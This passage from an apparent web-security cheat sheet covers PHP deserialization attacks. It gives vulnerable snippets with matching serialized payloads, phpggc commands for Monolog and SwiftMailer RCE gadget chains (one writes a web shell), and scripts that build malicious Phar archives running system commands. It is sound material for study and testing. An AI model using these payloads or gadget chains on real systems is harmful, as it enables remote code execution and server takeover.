<a id="__codelineno-2-4" name="__codelineno-2-4" href="#__codelineno-2-4"></a><span class="k">if</span> <span class="p">(</span><span class="nv">$data</span><span class="p">[</span><span class="s1">&#39;username&#39;</span><span class="p">]</span> <span class="o">==</span> <span class="nv">$adminName</span> <span class="o">&amp;&amp;</span> <span class="nv">$data</span><span class="p">[</span><span class="s1">&#39;password&#39;</span><span class="p">]</span> <span class="o">==</span> <span class="nv">$adminPassword</span><span class="p">)</span> <span class="p">{</span>
<a id="__codelineno-2-5" name="__codelineno-2-5" href="#__codelineno-2-5"></a> <span class="nv">$admin</span> <span class="o">=</span> <span class="k">true</span><span class="p">;</span>
<a id="__codelineno-2-6" name="__codelineno-2-6" href="#__codelineno-2-6"></a><span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<a id="__codelineno-2-7" name="__codelineno-2-7" href="#__codelineno-2-7"></a> <span class="nv">$admin</span> <span class="o">=</span> <span class="k">false</span><span class="p">;</span>
<a id="__codelineno-2-8" name="__codelineno-2-8" href="#__codelineno-2-8"></a><span class="p">}</span>
</code></pre></div>
<p>Payload:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="x">a:2:{s:8:&quot;username&quot;;b:1;s:8:&quot;password&quot;;b:1;}</span>
</code></pre></div>
<p>Because <code>true == "str"</code> is true.</p>
<h2 id="object-injection">Object Injection</h2>
<p>Vulnerable code:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="cp">&lt;?php</span>
<a id="__codelineno-4-2" name="__codelineno-4-2" href="#__codelineno-4-2"></a><span class="k">class</span> <span class="nc">ObjectExample</span>
<a id="__codelineno-4-3" name="__codelineno-4-3" href="#__codelineno-4-3"></a><span class="p">{</span>
<a id="__codelineno-4-4" name="__codelineno-4-4" href="#__codelineno-4-4"></a> <span class="k">var</span> <span class="nv">$guess</span><span class="p">;</span>
<a id="__codelineno-4-5" name="__codelineno-4-5" href="#__codelineno-4-5"></a> <span class="k">var</span> <span class="nv">$secretCode</span><span class="p">;</span>
<a id="__codelineno-4-6" name="__codelineno-4-6" href="#__codelineno-4-6"></a><span class="p">}</span>
<a id="__codelineno-4-7" name="__codelineno-4-7" href="#__codelineno-4-7"></a>
<a id="__codelineno-4-8" name="__codelineno-4-8" href="#__codelineno-4-8"></a><span class="nv">$obj</span> <span class="o">=</span> <span class="nb">unserialize</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;input&#39;</span><span class="p">]);</span>
<a id="__codelineno-4-9" name="__codelineno-4-9" href="#__codelineno-4-9"></a>
<a id="__codelineno-4-10" name="__codelineno-4-10" href="#__codelineno-4-10"></a><span class="k">if</span><span class="p">(</span><span class="nv">$obj</span><span class="p">)</span> <span class="p">{</span>
<a id="__codelineno-4-11" name="__codelineno-4-11" href="#__codelineno-4-11"></a> <span class="nv">$obj</span><span class="o">-&gt;</span><span class="na">secretCode</span> <span class="o">=</span> <span class="nb">rand</span><span class="p">(</span><span class="mi">500000</span><span class="p">,</span><span class="mi">999999</span><span class="p">);</span>
<a id="__codelineno-4-12" name="__codelineno-4-12" href="#__codelineno-4-12"></a> <span class="k">if</span><span class="p">(</span><span class="nv">$obj</span><span class="o">-&gt;</span><span class="na">guess</span> <span class="o">===</span> <span class="nv">$obj</span><span class="o">-&gt;</span><span class="na">secretCode</span><span class="p">)</span> <span class="p">{</span>
<a id="__codelineno-4-13" name="__codelineno-4-13" href="#__codelineno-4-13"></a> <span class="k">echo</span> <span class="s2">&quot;Win&quot;</span><span class="p">;</span>
<a id="__codelineno-4-14" name="__codelineno-4-14" href="#__codelineno-4-14"></a> <span class="p">}</span>
<a id="__codelineno-4-15" name="__codelineno-4-15" href="#__codelineno-4-15"></a><span class="p">}</span>
<a id="__codelineno-4-16" name="__codelineno-4-16" href="#__codelineno-4-16"></a><span class="cp">?&gt;</span>
</code></pre></div>
<p>Payload:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="x">O:13:&quot;ObjectExample&quot;:2:{s:10:&quot;secretCode&quot;;N;s:5:&quot;guess&quot;;R:2;}</span>
</code></pre></div>
<p>We can do an array like this:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="x">a:2:{s:10:&quot;admin_hash&quot;;N;s:4:&quot;hmac&quot;;R:2;}</span>
</code></pre></div>
<h2 id="finding-and-using-gadgets">Finding and using gadgets</h2>
<p>Also called <code>"PHP POP Chains"</code>, they can be used to gain RCE on the system.</p>
<ul>
<li>In PHP source code, look for <code>unserialize()</code> function.</li>
<li>
<p>Interesting <a href="https://www.php.net/manual/en/language.oop5.magic.php">Magic Methods</a> such as <code>__construct()</code>, <code>__destruct()</code>, <code>__call()</code>, <code>__callStatic()</code>, <code>__get()</code>, <code>__set()</code>, <code>__isset()</code>, <code>__unset()</code>, <code>__sleep()</code>, <code>__wakeup()</code>, <code>__serialize()</code>, <code>__unserialize()</code>, <code>__toString()</code>, <code>__invoke()</code>, <code>__set_state()</code>, <code>__clone()</code>, and <code>__debugInfo()</code>:</p>
<ul>
<li><code>__construct()</code>: PHP allows developers to declare constructor methods for classes. Classes which have a constructor method call this method on each newly-created object, so it is suitable for any initialization that the object may need before it is used. <a href="https://www.php.net/manual/en/language.oop5.decon.php#object.construct">php.net</a></li>
<li><code>__destruct()</code>: The destructor method will be called as soon as there are no other references to a particular object, or in any order during the shutdown sequence. <a href="https://www.php.net/manual/en/language.oop5.decon.php#object.destruct">php.net</a></li>
<li><code>__call(string $name, array $arguments)</code>: The <code>$name</code> argument is the name of the method being called. The <code>$arguments</code> argument is an enumerated array containing the parameters passed to the <code>$name</code>'ed method. <a href="https://www.php.net/manual/en/language.oop5.overloading.php#object.call">php.net</a></li>
<li><code>__callStatic(string $name, array $arguments)</code>: The <code>$name</code> argument is the name of the method being called. The <code>$arguments</code> argument is an enumerated array containing the parameters passed to the <code>$name</code>'ed method. <a href="https://www.php.net/manual/en/language.oop5.overloading.php#object.callstatic">php.net</a></li>
<li><code>__get(string $name)</code>: <code>__get()</code> is utilized for reading data from inaccessible (protected or private) or non-existing properties. <a href="https://www.php.net/manual/en/language.oop5.overloading.php#object.get">php.net</a></li>
<li><code>__set(string $name, mixed $value)</code>: <code>__set()</code> is run when writing data to inaccessible (protected or private) or non-existing properties. <a href="https://www.php.net/manual/en/language.oop5.overloading.php#object.set">php.net</a></li>
<li><code>__isset(string $name)</code>: <code>__isset()</code> is triggered by calling <code>isset()</code> or <code>empty()</code> on inaccessible (protected or private) or non-existing properties. <a href="https://www.php.net/manual/en/language.oop5.overloading.php#object.isset">php.net</a></li>
<li><code>__unset(string $name)</code>: <code>__unset()</code> is invoked when <code>unset()</code> is used on inaccessible (protected or private) or non-existing properties. <a href="https://www.php.net/manual/en/language.oop5.overloading.php#object.unset">php.net</a></li>
<li><code>__sleep()</code>: <code>serialize()</code> checks if the class has a function with the magic name <code>__sleep()</code>. If so, that function is executed prior to any serialization. It can clean up the object and is supposed to return an array with the names of all variables of that object that should be serialized. If the method doesn't return anything then <strong>null</strong> is serialized and <strong>E_NOTICE</strong> is issued.<a href="https://www.php.net/manual/en/language.oop5.magic.php#object.sleep">php.net</a></li>
<li><code>__wakeup()</code>: <code>unserialize()</code> checks for the presence of a function with the magic name <code>__wakeup()</code>. If present, this function can reconstruct any resources that the object may have. The intended use of <code>__wakeup()</code> is to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks. <a href="https://www.php.net/manual/en/language.oop5.magic.php#object.wakeup">php.net</a></li>
<li><code>__serialize()</code>: <code>serialize()</code> checks if the class has a function with the magic name <code>__serialize()</code>. If so, that function is executed prior to any serialization. It must construct and return an associative array of key/value pairs that represent the serialized form of the object. If no array is returned a TypeError will be thrown. <a href="https://www.php.net/manual/en/language.oop5.magic.php#object.serialize">php.net</a></li>
<li><code>__unserialize(array $data)</code>: this function will be passed the restored array that was returned from __serialize(). <a href="https://www.php.net/manual/en/language.oop5.magic.php#object.unserialize">php.net</a></li>
<li><code>__toString()</code>: The __toString() method allows a class to decide how it will react when it is treated like a string <a href="https://www.php.net/manual/en/language.oop5.magic.php#object.tostring">php.net</a></li>
<li><code>__invoke()</code>: The <code>__invoke()</code> method is called when a script tries to call an object as a function. <a href="https://www.php.net/manual/en/language.oop5.magic.php#object.invoke">php.net</a></li>
<li><code>__set_state(array $properties)</code>: This static method is called for classes exported by <code>var_export()</code>. <a href="https://www.php.net/manual/en/language.oop5.magic.php#object.set-state">php.net</a></li>
<li><code>__clone()</code>: Once the cloning is complete, if a <code>__clone()</code> method is defined, then the newly created object's <code>__clone()</code> method will be called, to allow any necessary properties that need to be changed. <a href="https://www.php.net/manual/en/language.oop5.cloning.php#object.clone">php.net</a></li>
<li><code>__debugInfo()</code>: This method is called by <code>var_dump()</code> when dumping an object to get the properties that should be shown. If the method isn't defined on an object, then all public, protected and private properties will be shown. <a href="https://www.php.net/manual/en/language.oop5.magic.php#object.debuginfo">php.net</a></li>
</ul>
</li>
</ul>
<p><a href="https://github.com/ambionics/phpggc">ambionics/phpggc</a> is a tool built to generate the payload based on several frameworks:</p>
<ul>
<li>Laravel</li>
<li>Symfony</li>
<li>SwiftMailer</li>
<li>Monolog</li>
<li>SlimPHP</li>
<li>Doctrine</li>
<li>Guzzle</li>
</ul>
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="n">phpggc</span> <span class="n">monolog</span><span class="p">/</span><span class="n">rce1</span> <span class="s1">&#39;phpinfo();&#39;</span> <span class="n">-s</span>
<a id="__codelineno-7-2" name="__codelineno-7-2" href="#__codelineno-7-2"></a><span class="n">phpggc</span> <span class="n">monolog</span><span class="p">/</span><span class="n">rce1</span> <span class="n">assert</span> <span class="s1">&#39;phpinfo()&#39;</span>
<a id="__codelineno-7-3" name="__codelineno-7-3" href="#__codelineno-7-3"></a><span class="n">phpggc</span> <span class="n">swiftmailer</span><span class="p">/</span><span class="n">fw1</span> <span class="p">/</span><span class="n">var</span><span class="p">/</span><span class="n">www</span><span class="p">/</span><span class="n">html</span><span class="p">/</span><span class="n">shell</span><span class="p">.</span><span class="n">php</span> <span class="p">/</span><span class="n">tmp</span><span class="p">/</span><span class="n">data</span>
<a id="__codelineno-7-4" name="__codelineno-7-4" href="#__codelineno-7-4"></a><span class="n">phpggc</span> <span class="n">Monolog</span><span class="p">/</span><span class="n">RCE2</span> <span class="n">system</span> <span class="s1">&#39;id&#39;</span> <span class="n">-p</span> <span class="n">phar</span> <span class="n">-o</span> <span class="p">/</span><span class="n">tmp</span><span class="p">/</span><span class="n">testinfo</span><span class="p">.</span><span class="n">ini</span>
</code></pre></div>
<h2 id="phar-deserialization">Phar Deserialization</h2>
<p>Using <code>phar://</code> wrapper, one can trigger a deserialization on the specified file like in <code>file_get_contents("phar://./archives/app.phar")</code>.</p>
<p>A valid PHAR includes four elements:</p>
<ol>
<li><strong>Stub</strong>: The stub is a chunk of PHP code which is executed when the file is accessed in an executable context. At a minimum, the stub must contain <code>__HALT_COMPILER();</code> at its conclusion. Otherwise, there are no restrictions on the contents of a Phar stub.</li>
<li><strong>Manifest</strong>: Contains metadata about the archive and its contents.</li>
<li><strong>File Contents</strong>: Contains the actual files in the archive.</li>
<li>
<p><strong>Signature</strong>(optional): For verifying archive integrity.</p>
</li>
<li>
<p>Example of a Phar creation in order to exploit a custom <code>PDFGenerator</code>.
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="cp">&lt;?php</span>
<a id="__codelineno-8-2" name="__codelineno-8-2" href="#__codelineno-8-2"></a><span class="k">class</span> <span class="nc">PDFGenerator</span> <span class="p">{</span> <span class="p">}</span>
<a id="__codelineno-8-3" name="__codelineno-8-3" href="#__codelineno-8-3"></a>
<a id="__codelineno-8-4" name="__codelineno-8-4" href="#__codelineno-8-4"></a><span class="c1">//Create a new instance of the Dummy class and modify its property</span>
<a id="__codelineno-8-5" name="__codelineno-8-5" href="#__codelineno-8-5"></a><span class="nv">$dummy</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">PDFGenerator</span><span class="p">();</span>
<a id="__codelineno-8-6" name="__codelineno-8-6" href="#__codelineno-8-6"></a><span class="nv">$dummy</span><span class="o">-&gt;</span><span class="na">callback</span> <span class="o">=</span> <span class="s2">&quot;passthru&quot;</span><span class="p">;</span>
<a id="__codelineno-8-7" name="__codelineno-8-7" href="#__codelineno-8-7"></a><span class="nv">$dummy</span><span class="o">-&gt;</span><span class="na">fileName</span> <span class="o">=</span> <span class="s2">&quot;uname -a &gt; pwned&quot;</span><span class="p">;</span> <span class="c1">//our payload</span>
<a id="__codelineno-8-8" name="__codelineno-8-8" href="#__codelineno-8-8"></a>
<a id="__codelineno-8-9" name="__codelineno-8-9" href="#__codelineno-8-9"></a><span class="c1">// Delete any existing PHAR archive with that name</span>
<a id="__codelineno-8-10" name="__codelineno-8-10" href="#__codelineno-8-10"></a><span class="o">@</span><span class="nb">unlink</span><span class="p">(</span><span class="s2">&quot;poc.phar&quot;</span><span class="p">);</span>
<a id="__codelineno-8-11" name="__codelineno-8-11" href="#__codelineno-8-11"></a>
<a id="__codelineno-8-12" name="__codelineno-8-12" href="#__codelineno-8-12"></a><span class="c1">// Create a new archive</span>
<a id="__codelineno-8-13" name="__codelineno-8-13" href="#__codelineno-8-13"></a><span class="nv">$poc</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Phar</span><span class="p">(</span><span class="s2">&quot;poc.phar&quot;</span><span class="p">);</span>
<a id="__codelineno-8-14" name="__codelineno-8-14" href="#__codelineno-8-14"></a>
<a id="__codelineno-8-15" name="__codelineno-8-15" href="#__codelineno-8-15"></a><span class="c1">// Add all write operations to a buffer, without modifying the archive on disk</span>
<a id="__codelineno-8-16" name="__codelineno-8-16" href="#__codelineno-8-16"></a><span class="nv">$poc</span><span class="o">-&gt;</span><span class="na">startBuffering</span><span class="p">();</span>
<a id="__codelineno-8-17" name="__codelineno-8-17" href="#__codelineno-8-17"></a>
<a id="__codelineno-8-18" name="__codelineno-8-18" href="#__codelineno-8-18"></a><span class="c1">// Set the stub</span>
<a id="__codelineno-8-19" name="__codelineno-8-19" href="#__codelineno-8-19"></a><span class="nv">$poc</span><span class="o">-&gt;</span><span class="na">setStub</span><span class="p">(</span><span class="s2">&quot;&lt;?php echo &#39;Here is the STUB!&#39;; __HALT_COMPILER();&quot;</span><span class="p">);</span>
<a id="__codelineno-8-20" name="__codelineno-8-20" href="#__codelineno-8-20"></a>
<a id="__codelineno-8-21" name="__codelineno-8-21" href="#__codelineno-8-21"></a><span class="cm">/* Add a new file in the archive with &quot;text&quot; as its content*/</span>
<a id="__codelineno-8-22" name="__codelineno-8-22" href="#__codelineno-8-22"></a><span class="nv">$poc</span><span class="p">[</span><span class="s2">&quot;file&quot;</span><span class="p">]</span> <span class="o">=</span> <span class="s2">&quot;text&quot;</span><span class="p">;</span>
<a id="__codelineno-8-23" name="__codelineno-8-23" href="#__codelineno-8-23"></a><span class="c1">// Add the dummy object to the metadata. This will be serialized</span>
<a id="__codelineno-8-24" name="__codelineno-8-24" href="#__codelineno-8-24"></a><span class="nv">$poc</span><span class="o">-&gt;</span><span class="na">setMetadata</span><span class="p">(</span><span class="nv">$dummy</span><span class="p">);</span>
<a id="__codelineno-8-25" name="__codelineno-8-25" href="#__codelineno-8-25"></a><span class="c1">// Stop buffering and write changes to disk</span>
<a id="__codelineno-8-26" name="__codelineno-8-26" href="#__codelineno-8-26"></a><span class="nv">$poc</span><span class="o">-&gt;</span><span class="na">stopBuffering</span><span class="p">();</span>
<a id="__codelineno-8-27" name="__codelineno-8-27" href="#__codelineno-8-27"></a><span class="cp">?&gt;</span>
</code></pre></div></p>
</li>
<li>
<p>Example of a Phar creation with a <code>JPEG</code> magic byte header since there is no restriction on the content of stub.
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="cp">&lt;?php</span>
<a id="__codelineno-9-2" name="__codelineno-9-2" href="#__codelineno-9-2"></a><span class="k">class</span> <span class="nc">AnyClass</span> <span class="p">{</span>
<a id="__codelineno-9-3" name="__codelineno-9-3" href="#__codelineno-9-3"></a> <span class="k">public</span> <span class="nv">$data</span> <span class="o">=</span> <span class="k">null</span><span class="p">;</span>
<a id="__codelineno-9-4" name="__codelineno-9-4" href="#__codelineno-9-4"></a> <span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nv">$data</span><span class="p">)</span> <span class="p">{</span>
<a id="__codelineno-9-5" name="__codelineno-9-5" href="#__codelineno-9-5"></a> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">data</span> <span class="o">=</span> <span class="nv">$data</span><span class="p">;</span>
<a id="__codelineno-9-6" name="__codelineno-9-6" href="#__codelineno-9-6"></a> <span class="p">}</span>
<a id="__codelineno-9-7" name="__codelineno-9-7" href="#__codelineno-9-7"></a>
<a id="__codelineno-9-8" name="__codelineno-9-8" href="#__codelineno-9-8"></a> <span class="k">function</span> <span class="fm">__destruct</span><span class="p">()</span> <span class="p">{</span>
<a id="__codelineno-9-9" name="__codelineno-9-9" href="#__codelineno-9-9"></a> <span class="nb">system</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">data</span><span class="p">);</span>
<a id="__codelineno-9-10" name="__codelineno-9-10" href="#__codelineno-9-10"></a> <span class="p">}</span>
<a id="__codelineno-9-11" name="__codelineno-9-11" href="#__codelineno-9-11"></a><span class="p">}</span>
<a id="__codelineno-9-12" name="__codelineno-9-12" href="#__codelineno-9-12"></a>
<a id="__codelineno-9-13" name="__codelineno-9-13" href="#__codelineno-9-13"></a><span class="c1">// create new Phar</span>
<a id="__codelineno-9-14" name="__codelineno-9-14" href="#__codelineno-9-14"></a><span class="nv">$phar</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Phar</span><span class="p">(</span><span class="s1">&#39;test.phar&#39;</span><span class="p">);</span>
<a id="__codelineno-9-15" name="__codelineno-9-15" href="#__codelineno-9-15"></a><span class="nv">$phar</span><span class="o">-&gt;</span><span class="na">startBuffering</span><span class="p">();</span>
<a id="__codelineno-9-16" name="__codelineno-9-16" href="#__codelineno-9-16"></a><span class="nv">$phar</span><span class="o">-&gt;</span><span class="na">addFromString</span><span class="p">(</span><span class="s1">&#39;test.txt&#39;</span><span class="p">,</span> <span class="s1">&#39;text&#39;</span><span class="p">);</span>
<a id="__codelineno-9-17" name="__codelineno-9-17" href="#__codelineno-9-17"></a><span class="nv">$phar</span><span class="o">-&gt;</span><span class="na">setStub</span><span class="p">(</span><span class="s2">&quot;</span><span class="se">\xff\xd8\xff\n</span><span class="s2">&lt;?php __HALT_COMPILER(); ?&gt;&quot;</span><span class="p">);</span>
<a id="__codelineno-9-18" name="__codelineno-9-18" href="#__codelineno-9-18"></a>
<a id="__codelineno-9-19" name="__codelineno-9-19" href="#__codelineno-9-19"></a><span class="c1">// add object of any class as meta data</span>
<a id="__codelineno-9-20" name="__codelineno-9-20" href="#__codelineno-9-20"></a><span class="nv">$object</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">AnyClass</span><span class="p">(</span><span class="s1">&#39;whoami&#39;</span><span class="p">);</span>
<a id="__codelineno-9-21" name="__codelineno-9-21" href="#__codelineno-9-21"></a><span class="nv">$phar</span><span class="o">-&gt;</span><span class="na">setMetadata</span><span class="p">(</span><span class="nv">$object</span><span class="p">);</span>
<a id="__codelineno-9-22" name="__codelineno-9-22" href="#__codelineno-9-22"></a><span class="nv">$phar</span><span class="o">-&gt;</span><span class="na">stopBuffering</span><span class="p">();</span>
</code></pre></div></p>
</li>
</ol>
<h2 id="real-world-examples">Real world examples</h2>
<ul>
<li><a href="https://hackerone.com/reports/410237">Vanilla Forums ImportController index file_exists Unserialize Remote Code Execution Vulnerability - Steven Seeley</a></li>
<li><a href="https://hackerone.com/reports/410212">Vanilla Forums Xenforo password splitHash Unserialize Remote Code Execution Vulnerability - Steven Seeley</a></li>
<li><a href="https://hackerone.com/reports/410882">Vanilla Forums domGetImages getimagesize Unserialize Remote Code Execution Vulnerability (critical) - Steven Seeley</a></li>
<li><a href="https://hackerone.com/reports/407552">Vanilla Forums Gdn_Format unserialize() Remote Code Execution Vulnerability - Steven Seeley</a></li>
</ul>
<h2 id="references">References</h2>
<ul>
<li><a href="https://www.owasp.org/index.php/PHP_Object_Injection">PHP Object Injection - OWASP</a></li>
<li><a href="https://owasp.org/www-pdf-archive/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf">Utilizing Code Reuse/ROP in PHP</a></li>
<li><a href="http://php.net/manual/en/function.unserialize.php">PHP unserialize</a></li>
<li><a href="https://www.ambionics.io/blog/php-generic-gadget-chains">PHP Generic Gadget - ambionics security</a></li>
<li><a href="https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf">POC2009 Shocking News in PHP Exploitation</a></li>
<li><a href="http://www.phpinternalsbook.com/classes_objects/serialization.html">PHP Internals Book - Serialization</a></li>
<li><a href="https://blog.raw.pm/en/meepwn-2017-write-ups/#TSULOTT-Web">TSULOTT Web challenge write-up from MeePwn CTF 1st 2017 by Rawsec</a></li>
<li><a href="https://medium.com/@jaimin_gohel/ctf-writeup-php-object-injection-in-kaspersky-ctf-28a68805610d">CTF writeup: PHP object injection in kaspersky CTF</a></li>
<li><a href="https://blog.raw.pm/en/ecsc-2019-quals-write-ups/#164-Jack-The-Ripper-Web">Jack The Ripper Web challeneg Write-up from ECSC 2019 Quals Team France by Rawsec</a></li>
<li><a href="https://blog.hacktivesecurity.com/index.php/2019/10/03/rusty-joomla-rce/">Rusty Joomla RCE Unserialize overflow - Alessandro Groppo - October 3, 2019</a></li>
<li><a href="https://vkili.github.io/blog/insecure%20deserialization/pop-chains/">PHP Pop Chains - Achieving RCE with POP chain exploits. - Vickie Li - September 3, 2020</a></li>
<li><a href="https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability/">How to exploit the PHAR Deserialization Vulnerability - Alexandru Postolache - May 29, 2020</a></li>
<li><a href="https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization">phar:// deserialization - HackTricks</a></li>
<li><a href="https://www.xanhacks.xyz/p/php-gadget-chain/#introduction">Finding PHP Serialization Gadget Chain - DG'hAck Unserial killer - Aug 11, 2022 - xanhacks</a></li>
<li><a href="https://www.synacktiv.com/publications/finding-a-pop-chain-on-a-common-symfony-bundle-part-1">FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE: PART 1 - Rémi Matasse - 12/09/2023</a></li>
<li><a href="https://www.synacktiv.com/publications/finding-a-pop-chain-on-a-common-symfony-bundle-part-2">FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE: PART 2 - Rémi Matasse - 11/10/2023</a></li>
<li><a href="https://blog.quarkslab.com/php-deserialization-attacks-and-a-new-gadget-chain-in-laravel.html">PHP deserialization attacks and a new gadget chain in Laravel - Mathieu Farrell - Tue 13 February 2024</a></li>
</ul>
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